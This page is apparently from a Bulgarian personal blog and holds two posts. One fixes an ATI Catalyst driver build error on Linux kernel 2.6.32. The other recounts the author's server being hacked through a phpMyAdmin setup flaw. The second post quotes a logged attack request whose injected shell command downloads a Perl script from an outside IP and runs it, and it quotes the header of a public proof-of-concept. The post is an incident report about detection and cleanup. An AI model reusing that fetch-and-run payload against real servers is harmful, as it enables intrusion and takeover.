Lucifer's sandbox

Tag: линукс

Kernel 2.6.32.x и ATI Catalyst (GeekTime)

by Lucifer on Jan.11, 2010, under HowTo, geek time

Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло … дори с последни версии на ядрото на Slackware-а с който работя в къщи.

Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за да открива и 4-те GB RAM и да си направя initrd.gz за да мога да си пускам машината (аз съм гаден параноик и съм я криптирал)  …

Всичко мина добре. Влязох като root и махнах стария fglrx.9.12 компилиран за 2.6.29.6.

Стартирах инсталатора … и каква беше изненадата ми, когато вместо “Instalation complete”, получих съобщението “There were errors compiling driver. Please refer to fglrx-install.log”

WTF??? Какви грешки бе!

nano /usr/share/ati/fglrx-install.log

[Message] Kernel Module : Trying to install a precompiled kernel module.
[Message] Kernel Module : Precompiled kernel module version mismatched.
[Message] Kernel Module : Found kernel module build environment, generating kernel module now.
AMD kernel module generator version 2.1
doing Makefile based build for kernel 2.6.x and higher
rm -rf *.c *.h *.o *.ko *.GCC* .??* *.symvers
make -C /lib/modules/2.6.32.3-smp/build SUBDIRS=/lib/modules/fglrx/build_mod/2.6.x modules
make[1]: Entering directory `/usr/src/linux-2.6.32.3'
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/firegl_public.o
In file included from /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:443:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h: In function ‘FGLDRM__vma_info’:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h:497: warning: format ‘%08lx’ expects type ‘long unsigned int’, but argument 5 has type ‘phys_addr_t’
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c: In function ‘KCL_MapPageToPfn’:
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:1586: warning: unused variable ‘bus_addr’
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_acpi.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_agp.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_debug.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_ioctl.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_io.o
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c: In function ‘KCL_IO_FASYNC_Terminate’:
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: ‘SIGIO’ undeclared (first use in this function)
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: (Each undeclared identifier is reported only once
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: for each function it appears in.)
make[2]: *** [/lib/modules/fglrx/build_mod/2.6.x/kcl_io.o] Error 1
make[1]: *** [_module_/lib/modules/fglrx/build_mod/2.6.x] Error 2
make[1]: Leaving directory `/usr/src/linux-2.6.32.3'
make: *** [kmod_build] Error 2
build failed with return value 2
[Error] Kernel Module : Failed to compile kernel module - please consult readme.

Какво по …

И отново старото ровене в чичо google … 2 дни без хубаво видео … няма да ви описвам мъките си … докато на някакъв забит пост в някакъв забит форум не намерих как да го оправя … а то се оказа и много просто – явно в новата ядро са отделили част от нещата в нов header file …

Ето и решението step-by-step:

01. Сваляте си драйверите от сайта на ATI.
02. Стартирате run-а с опция –extract
03. Отваряте fglrx-install.nqkakuv_string/common/lib/modules/fglrx/build_mod/kcl_io.c където добавяте:

#include <linux/signal.h>

04. В fglrx-install.nqkakuv-string стартирате sh ./ati-installer.sh 8.5912 –install
05. reboot … and that is all …

Лесно нали? Някъде из нет-а се мотат готови .patch, но нямах време и желание да търся … за това използвах nano … и го направих на ръка … лесно и бързо … веднъж като знаеш какво ти трябва …

Надвявам, се да помогна на някого.


Ваш,

Lucifer

GD Star Rating
loading...


1 Comment :, , , , , , , , , , more...

Hacked …

by Lucifer on Dec.03, 2009, under blog, geek time, misk

Искам да се оплача … от собствената си глупост … и то много да се оплача …

То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко – сървъра ми беше хакнат! Дап, моето мило Анаваро!

Беше заразен с IRC бот вирус. Нямаше много “мрежеви” поражения … защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше – няма мрежа, няма нищо, а аз знаете съм на 500 км.

След няколко рестарт-а и любимите ми “tail -f” и “htop” успях да засека следния малък проблем:

ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0

А … ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) …

Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца … където открих следния “смахнат” ред:

88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181

Изненадкааа …Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the ‘/config/’ directory
# within the ‘/phpMyAdmin/’ directory. this is because this directory is
# where ‘/scripts/setup.php’ tries to create ‘config.inc.php’ which is where
# our evil PHP code is injected 8)

Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии – то не бяха преинсталации на apache, промени на пътеки …

Отново и отново ./std $IP $PORT процеса ме убиваше …

Питайки чичко Гугъл … случайно стигнах до един сайт в който някой се оплакваше от моя проблем.

ps aux | grep apache

ми даде виновника – индианеца се беше троянизирал … изпълняваше процеси (добре че е deamon) …

crontab -u apache -e

ми даде и проблема – някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо … на бързо му бих “rm -r”, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) …

Знам, че съм пълен идиот … ама аз съм си такъв …

Ваш,

Lucifer

GD Star Rating
loading...


Leave a Comment :, , , , , , , , , , , , more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!